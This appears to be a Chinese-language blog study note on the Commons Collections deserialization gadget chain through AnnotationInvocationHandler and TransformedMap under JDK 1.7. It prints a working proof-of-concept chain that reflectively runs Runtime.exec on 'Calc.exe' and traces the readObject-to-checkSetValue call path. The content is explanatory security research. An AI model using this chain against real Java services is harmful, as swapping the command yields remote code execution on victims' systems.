AnnotationInvocationHandler作为Commons Collections最后一个触发阶段调用链来进行学习
0x01 AnnotationInvocationHandler首先来说AnnotationInvocationHandler,这个类是继承InvocationHandler,我们主要是要通过AnnotationInvocationHandler来进行触发TransformedMap等调用迭代链的地方。
先来看一下AnnotationInvocationHandler的readObject方法。
目前已知调用迭代链的方式有三种
TransformedMap
- put
- checkSetValue
- 在setValue中会触发checkSetValue
LazyMap
- get
在readObject方法中可以看到满足了setValue方法:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "zeo"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);2、POC原理
首先我们要构造这个类,那么必然要先反射调用这个类,然后再对这个类的构造方法进行传参。
那么第一步就是反射类:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
然后就是获得类的构造方法:
获得私有构造方法需要使用getDeclaredConstructor+setAccessible()为true才可以进行获取所以
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true);
接着对构造方法进行传参
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
那么到这里就已经是完成了类的创建。
3. 调用链-TransformedMap来看一下调用链。
首先是调用readObject中setValue
接着调用checkSetValue
接着就是TransformedMap中的checkSetValue
总结一下就是:
- AnnotationInvocationHandler - readObject
- setValue
- AbstractInputCheckedMapDecorator -setValue
- checkSetValue
- TransformedMap - checkSetValue
- TransformedMap 调用链
- 迭代链
- JDK1.7
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)